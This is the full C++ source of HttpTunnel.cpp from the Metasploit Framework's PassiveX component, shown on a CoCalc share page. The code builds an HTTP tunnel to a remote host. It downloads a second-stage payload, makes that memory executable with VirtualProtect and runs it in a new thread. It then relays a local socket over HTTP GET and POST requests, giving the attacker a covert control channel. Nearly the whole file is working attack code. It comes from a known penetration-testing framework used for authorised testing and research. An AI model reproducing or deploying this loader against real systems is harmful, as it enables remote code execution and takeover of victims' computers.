CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/passivex/HttpTunnel.cpp
Views: 11766
1
/*
2
* This file is part of the Metasploit Exploit Framework
3
* and is subject to the same licenses and copyrights as
4
* the rest of this package.
5
*/
6
#include "PassiveXLib.h"
7
#include "HttpTunnel.h"
8
9
// The number of failed HTTP connections
10
static DWORD FailedConnections = 0;
11
12
HttpTunnel::HttpTunnel()
13
: HttpHost(NULL),
14
HttpUriBase(NULL),
15
HttpSid(NULL),
16
HttpPort(0),
17
LocalTcpListener(0),
18
LocalTcpClientSide(0),
19
LocalTcpServerSide(0),
20
InternetHandle(NULL),
21
SendThread(NULL),
22
ReceiveThread(NULL),
23
SecondStageThread(NULL),
24
SecondStage(NULL),
25
SecondStageSize(0)
26
{
27
// Initialize winsock, not that we should need to.
28
WSAStartup(
29
MAKEWORD(2, 2),
30
&WsaData);
31
32
srand((unsigned int)time(NULL));
33
}
34
35
HttpTunnel::~HttpTunnel()
36
{
37
Stop();
38
39
// Cleanup winsock
40
WSACleanup();
41
}
42
43
/*
44
* Initiates the HTTP tunnel and gets the ball rolling
45
*/
46
DWORD HttpTunnel::Start(
47
IN LPSTR InHttpHost,
48
IN LPSTR InHttpUriBase,
49
IN LPSTR InHttpSid,
50
IN USHORT InHttpPort)
51
{
52
DWORD ThreadId;
53
DWORD Result = ERROR_SUCCESS;
54
55
do
56
{
57
// Initialize the hostname and port
58
if (!(HttpHost = _strdup(InHttpHost)))
59
{
60
Result = ERROR_NOT_ENOUGH_MEMORY;
61
break;
62
}
63
64
if ((InHttpSid) &&
65
(InHttpSid[0]) &&
66
(!(HttpSid = _strdup(InHttpSid))))
67
{
68
Result = ERROR_NOT_ENOUGH_MEMORY;
69
break;
70
}
71
72
if ((InHttpUriBase) &&
73
(InHttpUriBase[0]) &&
74
(!(HttpUriBase = _strdup(InHttpUriBase))))
75
{
76
Result = ERROR_NOT_ENOUGH_MEMORY;
77
break;
78
}
79
80
// Eliminate any trailing slashes as to prevent potential problems. If
81
// HttpUriBase is just "/", then it'll become virtuall unused.
82
if ((HttpUriBase) &&
83
(HttpUriBase[strlen(HttpUriBase) - 1] == '/'))
84
HttpUriBase[strlen(HttpUriBase) - 1] = 0;
85
86
HttpPort = InHttpPort;
87
88
// Acquire the internet context handle
89
if (!(InternetHandle = InternetOpen(
90
NULL,
91
INTERNET_OPEN_TYPE_PRECONFIG,
92
NULL,
93
NULL,
94
0)))
95
{
96
Result = GetLastError();
97
break;
98
}
99
100
// Create the local TCP abstraction
101
if ((Result = InitializeLocalConnection()) != ERROR_SUCCESS)
102
{
103
CPassiveX::Log(
104
TEXT("Start(): InitializeLocalConnection failed, %lu.\n"),
105
Result);
106
break;
107
}
108
109
// Download the second stage if there is one
110
DownloadSecondStage();
111
112
// Create the transmission thread
113
if (!(SendThread = CreateThread(
114
NULL,
115
0,
116
(LPTHREAD_START_ROUTINE)SendThreadFuncSt,
117
this,
118
0,
119
&ThreadId)))
120
{
121
Result = GetLastError();
122
break;
123
}
124
125
// Create the receive thread
126
if (!(ReceiveThread = CreateThread(
127
NULL,
128
0,
129
(LPTHREAD_START_ROUTINE)ReceiveThreadFuncSt,
130
this,
131
0,
132
&ThreadId)))
133
{
134
Result = GetLastError();
135
break;
136
}
137
138
// Woop
139
Result = ERROR_SUCCESS;
140
141
} while (0);
142
143
return Result;
144
}
145
146
/*
147
* Stops the HTTP tunnel and cleans up resources
148
*/
149
DWORD HttpTunnel::Stop()
150
{
151
DWORD Result = ERROR_SUCCESS;
152
DWORD Index = 0;
153
LPHANDLE Threads[] =
154
{
155
&SecondStageThread,
156
&ReceiveThread,
157
&SendThread,
158
NULL
159
};
160
161
// Terminate the threads that were spawned
162
for (Index = 0;
163
Threads[Index];
164
Index++)
165
{
166
LPHANDLE Thread = Threads[Index];
167
168
if (*Thread)
169
{
170
TerminateThread(
171
*Thread,
172
0);
173
174
CloseHandle(
175
*Thread);
176
177
*Thread = NULL;
178
}
179
}
180
181
// Close all of the open sockets we may have
182
if (LocalTcpListener)
183
closesocket(
184
LocalTcpListener);
185
if (LocalTcpClientSide)
186
closesocket(
187
LocalTcpClientSide);
188
if (LocalTcpServerSide)
189
closesocket(
190
LocalTcpServerSide);
191
192
LocalTcpListener = 0;
193
LocalTcpClientSide = 0;
194
LocalTcpServerSide = 0;
195
196
// Free up memory associated with the second stage
197
if (SecondStage)
198
{
199
free(
200
SecondStage);
201
202
SecondStage = NULL;
203
SecondStageSize = 0;
204
}
205
206
// Close the global internet handle acquired from InternetOpen
207
if (InternetHandle)
208
{
209
InternetCloseHandle(
210
InternetHandle);
211
212
InternetHandle = NULL;
213
}
214
215
return Result;
216
}
217
218
/*********************
219
* Protected Methods *
220
*********************/
221
222
/*
223
* Creates the local TCP abstraction that will be used as the socket for the
224
* second stage that is read in
225
*/
226
typedef SOCKET (WINAPI * WSASOCKETA)( int, int, int, LPVOID, DWORD, DWORD );
227
228
DWORD HttpTunnel::InitializeLocalConnection()
229
{
230
struct sockaddr_in Sin;
231
USHORT LocalPort = 0;
232
DWORD Attempts = 0;
233
DWORD Result = ERROR_SUCCESS;
234
HMODULE hWinsock = NULL;
235
WSASOCKETA pWSASocketA = NULL;
236
WSADATA wsaData;
237
238
hWinsock = LoadLibraryA( "WS2_32.DLL" );
239
if( hWinsock == NULL )
240
{
241
CPassiveX::Log( TEXT("DownloadSecondStage(): LoadLibraryA for WS2_32.DLL failed.\n") );
242
return !ERROR_SUCCESS;
243
}
244
245
pWSASocketA = (WSASOCKETA)GetProcAddress( hWinsock, "WSASocketA");
246
if( pWSASocketA == NULL )
247
{
248
CPassiveX::Log( TEXT("DownloadSecondStage(): GetProcAddress for WSASocketA failed.\n") );
249
return !ERROR_SUCCESS;
250
}
251
252
if( WSAStartup( MAKEWORD(2,2), &wsaData ) != 0 )
253
{
254
CPassiveX::Log( TEXT("DownloadSecondStage(): WSAStartup failed.\n") );
255
return !ERROR_SUCCESS;
256
}
257
258
do
259
{
260
// Create the TCP listener socket
261
//LocalTcpListener = pWSASocketA( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0 ,0 );
262
LocalTcpListener = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
263
if( LocalTcpListener == INVALID_SOCKET )
264
{
265
LocalTcpListener = 0;
266
Result = WSAGetLastError();
267
break;
268
}
269
270
// Create the TCP client socket
271
LocalTcpClientSide = pWSASocketA( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0 ,0 );
272
if( LocalTcpClientSide == INVALID_SOCKET )
273
{
274
LocalTcpClientSide = 0;
275
Result = WSAGetLastError();
276
break;
277
}
278
279
Sin.sin_family = AF_INET;
280
Sin.sin_addr.s_addr = inet_addr("127.0.0.1");
281
282
// Try 256 times to pick a random port
283
Sin.sin_port = htons(LocalPort = (rand() % 32000) + 1025);
284
285
while( ( bind( LocalTcpListener, (struct sockaddr *)&Sin, sizeof(Sin) ) == SOCKET_ERROR ) && (Attempts++ < 256) )
286
{
287
Sin.sin_port = htons(LocalPort = (rand() % 32000) + 1025);
288
}
289
290
// If we failed to create the local listener, bomb out
291
if (Attempts >= 256)
292
{
293
Result = WSAGetLastError();
294
break;
295
}
296
297
// Listen and stuff
298
if (listen( LocalTcpListener, 1) == SOCKET_ERROR)
299
{
300
Result = WSAGetLastError();
301
break;
302
}
303
304
// Establish a connection to the local listener
305
if (connect( LocalTcpClientSide, (struct sockaddr *)&Sin, sizeof(Sin)) == SOCKET_ERROR)
306
{
307
Result = WSAGetLastError();
308
break;
309
}
310
311
// Accept the local TCP connection
312
if ((LocalTcpServerSide = accept( LocalTcpListener, NULL, NULL)) == SOCKET_ERROR)
313
{
314
LocalTcpServerSide = 0;
315
Result = WSAGetLastError();
316
break;
317
}
318
319
// Woop!
320
Result = ERROR_SUCCESS;
321
322
} while (0);
323
324
return Result;
325
}
326
327
/*
328
* Downloads the second stage payload from the remote HTTP host and executes it
329
* in its own thread if there is one
330
*/
331
VOID HttpTunnel::DownloadSecondStage()
332
{
333
DWORD dwOldProtect = 0;
334
335
// Transmit the request to download the second stage. The stage buffer that
336
// is passed back is never deallocated.
337
if ((TransmitHttpRequest(
338
TEXT("GET"),
339
PASSIVEX_URI_SECOND_STAGE,
340
NULL,
341
0,
342
30000,
343
NULL,
344
(PVOID *)&SecondStage,
345
&SecondStageSize) == ERROR_SUCCESS) &&
346
(SecondStageSize))
347
{
348
DWORD ThreadId = 0;
349
350
CPassiveX::Log( TEXT("DownloadSecondStage(): Downloaded %lu byte second stage, executing it...\n"), SecondStageSize);
351
352
if( !VirtualProtect( (LPVOID)SecondStage, SecondStageSize, PAGE_EXECUTE_READWRITE, &dwOldProtect ) )
353
{
354
CPassiveX::Log(
355
TEXT("DownloadSecondStage(): Failed to VirtualProtect second stage (0x%08X) to be RWX. Error %lu."),
356
SecondStageSize, GetLastError() );
357
}
358
359
// Create the second stage thread
360
SecondStageThread = CreateThread(
361
NULL,
362
0,
363
(LPTHREAD_START_ROUTINE)SecondStageThreadFuncSt,
364
this,
365
0,
366
&ThreadId);
367
}
368
else
369
{
370
CPassiveX::Log(
371
TEXT("DownloadSecondStage(): Failed to download second stage, %lu."),
372
GetLastError());
373
374
ExitProcess(0);
375
376
}
377
}
378
379
/*
380
* Transmits the supplied data to the remote HTTP host
381
*/
382
DWORD HttpTunnel::TransmitToRemote(
383
IN PUCHAR Buffer,
384
IN ULONG BufferSize)
385
{
386
CPassiveX::Log(
387
TEXT("TransmitToRemote(): Transmitting %lu bytes of data to the remote side of the TCP abstraction.\n"),
388
BufferSize);
389
390
return TransmitHttpRequest(
391
"POST",
392
PASSIVEX_URI_TUNNEL_IN,
393
Buffer,
394
BufferSize);
395
}
396
397
/*
398
* Transmits the supplied data to the server side of the local TCP abstraction
399
*/
400
DWORD HttpTunnel::TransmitToLocal(
401
IN PUCHAR Buffer,
402
IN ULONG BufferSize)
403
{
404
DWORD Result = ERROR_SUCCESS;
405
INT BytesWritten = 0;
406
407
// Keep writing until everything has been written
408
while (BufferSize > 0)
409
{
410
CPassiveX::Log(
411
TEXT("TransmitToLocal(): Transmitting %lu bytes of data to the local side of the TCP abstraction.\n"),
412
BufferSize);
413
414
if ((BytesWritten = send(
415
LocalTcpServerSide,
416
(const char *)Buffer,
417
BufferSize,
418
0)) == SOCKET_ERROR)
419
{
420
Result = WSAGetLastError();
421
break;
422
}
423
424
Buffer += BytesWritten;
425
BufferSize -= BytesWritten;
426
}
427
428
return Result;
429
}
430
431
/*
432
* Transmits an HTTP request to the target host, optionally waiting for a
433
* response
434
*/
435
DWORD HttpTunnel::TransmitHttpRequest(
436
IN LPTSTR Method,
437
IN LPTSTR Uri,
438
IN PVOID RequestPayload,
439
IN ULONG RequestPayloadLength,
440
IN ULONG WaitResponseTimeout,
441
OUT LPDWORD ResponseCode,
442
OUT PVOID *ResponsePayload,
443
OUT LPDWORD ResponsePayloadLength)
444
{
445
HINTERNET RequestHandle = NULL;
446
HINTERNET ConnectHandle = NULL;
447
PUCHAR OutBuffer = NULL;
448
DWORD OutBufferLength = 0;
449
UCHAR ReadBuffer[8192];
450
DWORD ReadBufferLength;
451
DWORD Result = ERROR_SUCCESS;
452
PCHAR AdditionalHeaders = NULL;
453
CHAR FullUri[1024];
454
455
// Construct the full URI
456
if (HttpUriBase && HttpUriBase[0])
457
sprintf_s(FullUri, sizeof(FullUri) - 1, "%s%s", HttpUriBase, Uri);
458
else
459
strncpy_s(FullUri, 1024, Uri, sizeof(FullUri) - 1);
460
461
FullUri[sizeof(FullUri) - 1] = 0;
462
463
do
464
{
465
PROFILE_CHECKPOINT("InternetConnect ==>");
466
467
// Open a connection handle
468
if (!(ConnectHandle = InternetConnect(
469
InternetHandle,
470
HttpHost,
471
HttpPort,
472
NULL,
473
NULL,
474
INTERNET_SERVICE_HTTP,
475
0,
476
NULL)))
477
{
478
Result = GetLastError();
479
break;
480
}
481
482
PROFILE_CHECKPOINT("InternetConnect <==");
483
484
// If we were supplied a wait response timeout, set it
485
if (WaitResponseTimeout)
486
InternetSetOption(
487
ConnectHandle,
488
INTERNET_OPTION_RECEIVE_TIMEOUT,
489
&WaitResponseTimeout,
490
sizeof(WaitResponseTimeout));
491
492
PROFILE_CHECKPOINT("HttpOpenRequest ==>");
493
494
// Open a request handle
495
if (!(RequestHandle = HttpOpenRequest(
496
ConnectHandle,
497
Method ? Method : TEXT("GET"),
498
FullUri,
499
NULL,
500
NULL,
501
NULL,
502
INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_NO_CACHE_WRITE |
503
INTERNET_FLAG_RELOAD,
504
NULL)))
505
{
506
Result = GetLastError();
507
break;
508
}
509
510
// If we were assigned an HTTP session identifier, then allocate an
511
// additional header for transmission to the remote side.
512
if (HttpSid)
513
{
514
size_t size = strlen(HttpSid) + 32;
515
// Yeah, I'm lame, this is easy to sig. Improve me if you care!
516
if(( AdditionalHeaders = (PCHAR)malloc(size) ))
517
sprintf_s( AdditionalHeaders, size, "X-Sid: sid=%s\r\n", HttpSid );
518
}
519
520
PROFILE_CHECKPOINT("HttpOpenRequest <==");
521
PROFILE_CHECKPOINT("HttpSendRequest ==>");
522
523
// Send and endthe request
524
if ((!HttpSendRequest(
525
RequestHandle,
526
AdditionalHeaders,
527
(AdditionalHeaders) ? -1L : 0,
528
RequestPayload,
529
RequestPayloadLength)))
530
{
531
Result = GetLastError();
532
break;
533
}
534
535
PROFILE_CHECKPOINT("HttpSendRequest <==");
536
537
// If we wont be waiting for a response, break out now and return
538
if (!WaitResponseTimeout)
539
{
540
Result = ERROR_SUCCESS;
541
break;
542
}
543
544
// Keep looping until we've read the entire request or an error is
545
// encountered
546
while (1)
547
{
548
PUCHAR NewBuffer;
549
550
ReadBufferLength = sizeof(ReadBuffer);
551
552
PROFILE_CHECKPOINT("InternetReadFile ==>");
553
554
if (!InternetReadFile(
555
RequestHandle,
556
ReadBuffer,
557
ReadBufferLength,
558
&ReadBufferLength))
559
{
560
Result = GetLastError();
561
break;
562
}
563
else if (!ReadBufferLength)
564
{
565
Result = ERROR_SUCCESS;
566
break;
567
}
568
569
PROFILE_CHECKPOINT("InternetReadFile <==");
570
571
// Append the buffer to the output buffer
572
if (!OutBuffer)
573
NewBuffer = (PUCHAR)malloc(
574
ReadBufferLength);
575
else
576
NewBuffer = (PUCHAR)realloc(
577
OutBuffer,
578
OutBufferLength + ReadBufferLength);
579
580
if (!NewBuffer)
581
{
582
Result = ERROR_NOT_ENOUGH_MEMORY;
583
break;
584
}
585
586
memcpy(
587
NewBuffer + OutBufferLength,
588
ReadBuffer,
589
ReadBufferLength);
590
591
OutBuffer = NewBuffer;
592
OutBufferLength += ReadBufferLength;
593
}
594
595
// Query the status code of the response
596
if (ResponseCode)
597
{
598
DWORD ResponseCodeSize = sizeof(DWORD);
599
600
if (!HttpQueryInfo(
601
RequestHandle,
602
HTTP_QUERY_STATUS_CODE,
603
ResponseCode,
604
&ResponseCodeSize,
605
NULL))
606
{
607
CPassiveX::Log(
608
TEXT("HttpQueryInfo failed, %lu."),
609
GetLastError());
610
611
*ResponseCode = 0;
612
}
613
}
614
615
} while (0);
616
617
PROFILE_CHECKPOINT("Finished TransmitHttpRequest");
618
619
// Close handles
620
if (RequestHandle)
621
InternetCloseHandle(
622
RequestHandle);
623
if (ConnectHandle)
624
InternetCloseHandle(
625
ConnectHandle);
626
if (AdditionalHeaders)
627
free(AdditionalHeaders);
628
629
// Set the output pointers or free up the output buffer
630
if (Result == ERROR_SUCCESS)
631
{
632
if (ResponsePayload)
633
*ResponsePayload = OutBuffer;
634
if (ResponsePayloadLength)
635
*ResponsePayloadLength = OutBufferLength;
636
637
FailedConnections = 0;
638
}
639
else
640
{
641
// If we fail to connect...
642
if (Result == ERROR_INTERNET_CANNOT_CONNECT)
643
{
644
FailedConnections++;
645
646
if (FailedConnections > 10)
647
{
648
CPassiveX::Log("TransmitHttpRequest(): Failed to connect to HTTP server (%lu), exiting.",
649
FailedConnections);
650
651
ExitProcess(0);
652
}
653
}
654
655
if (OutBuffer)
656
free(
657
OutBuffer);
658
}
659
660
return Result;
661
}
662
663
/*
664
* Method wrapper
665
*/
666
ULONG HttpTunnel::SendThreadFuncSt(
667
IN HttpTunnel *Tunnel)
668
{
669
return Tunnel->SendThreadFunc();
670
}
671
672
/*
673
* Monitors the server side of the local TCP abstraction for data that can be
674
* transmitted to the remote half of the pipe
675
*/
676
ULONG HttpTunnel::SendThreadFunc()
677
{
678
fd_set FdSet;
679
UCHAR ReadBuffer[16384];
680
LONG BytesRead;
681
INT Result;
682
683
// This is the song that never ends...
684
while (1)
685
{
686
FD_ZERO(
687
&FdSet);
688
FD_SET(
689
LocalTcpServerSide,
690
&FdSet);
691
692
PROFILE_CHECKPOINT("select ==>");
693
694
// Wait for some data...
695
Result = select(
696
LocalTcpServerSide + 1,
697
&FdSet,
698
NULL,
699
NULL,
700
NULL);
701
702
PROFILE_CHECKPOINT("select <==");
703
704
// If select failed or there was no new data, act accordingly else risk
705
// the fist of the evil witch
706
if (Result < 0)
707
{
708
CPassiveX::Log(
709
TEXT("SendThreadFunc(): TUNNEL_IN: Select failed, %lu.\n"),
710
WSAGetLastError());
711
break;
712
}
713
else if (Result == 0)
714
continue;
715
716
PROFILE_CHECKPOINT("recv ==>");
717
718
// Read in data from the local server side of the TCP connection
719
BytesRead = recv(
720
LocalTcpServerSide,
721
(char *)ReadBuffer,
722
sizeof(ReadBuffer),
723
0);
724
725
PROFILE_CHECKPOINT("recv <==");
726
727
// On error or end of file...
728
if (BytesRead <= 0)
729
{
730
CPassiveX::Log(
731
TEXT("SendThreadFunc(): TUNNEL_IN: Read 0 or fewer bytes, erroring out (%lu).\n"),
732
BytesRead);
733
break;
734
}
735
736
CPassiveX::Log(
737
TEXT("SendThreadFunc(): TUNNEL_IN: Transmitting %lu bytes of data to remote side.\n"),
738
BytesRead);
739
740
PROFILE_CHECKPOINT("TransmitToRemote ==>");
741
742
// Transmit the data to the remote side
743
if ((Result = TransmitToRemote(
744
ReadBuffer,
745
BytesRead)) != ERROR_SUCCESS)
746
{
747
CPassiveX::Log(
748
TEXT("SendThreadFunc(): TUNNEL_IN: TransmitToRemote failed, %lu.\n"),
749
Result);
750
}
751
752
PROFILE_CHECKPOINT("TransmitToRemote <==");
753
}
754
755
// Exit the process if the send thread ends
756
ExitProcess(0);
757
758
return 0;
759
}
760
761
/*
762
* Method wrapper
763
*/
764
ULONG HttpTunnel::ReceiveThreadFuncSt(
765
IN HttpTunnel *Tunnel)
766
{
767
return Tunnel->ReceiveThreadFunc();
768
}
769
770
/*
771
* Polls for data that should be sent to the local server side of the TCP
772
* abstraction
773
*/
774
ULONG HttpTunnel::ReceiveThreadFunc()
775
{
776
PUCHAR ReadBuffer = NULL;
777
DWORD ReadBufferLength = 0;
778
DWORD ResponseCode = 0;
779
780
while (1)
781
{
782
ReadBufferLength = 0;
783
ReadBuffer = NULL;
784
ResponseCode = 0;
785
786
if ((TransmitHttpRequest(
787
TEXT("GET"),
788
PASSIVEX_URI_TUNNEL_OUT,
789
NULL,
790
0,
791
30000,
792
&ResponseCode,
793
(PVOID *)&ReadBuffer,
794
&ReadBufferLength) == ERROR_SUCCESS) &&
795
(ReadBuffer))
796
{
797
CPassiveX::Log(
798
TEXT("ReceiveThreadFunc(): TUNNEL_OUT: Received response code %lu, buffer length %lu.\n"),
799
ResponseCode,
800
ReadBufferLength);
801
802
TransmitToLocal(
803
ReadBuffer,
804
ReadBufferLength);
805
806
free(
807
ReadBuffer);
808
}
809
else
810
{
811
CPassiveX::Log(
812
TEXT("ReceiveThreadFunc(): TUNNEL_OUT: TransmitHttpRequest failed, %lu.\n"),
813
GetLastError());
814
}
815
}
816
817
return 0;
818
}
819
820
/*
821
* Calls the second stage after initializing the proper registers
822
*/
823
ULONG HttpTunnel::SecondStageThreadFuncSt(
824
IN HttpTunnel *Tunnel)
825
{
826
SOCKET Fd = Tunnel->LocalTcpClientSide;
827
828
// Initialize edi to the file descriptor that the second stage might use
829
__asm
830
{
831
lea eax, [Fd]
832
mov edi, [eax]
833
}
834
835
((VOID (*)())Tunnel->SecondStage)();
836
837
return 0;
838
}
839
840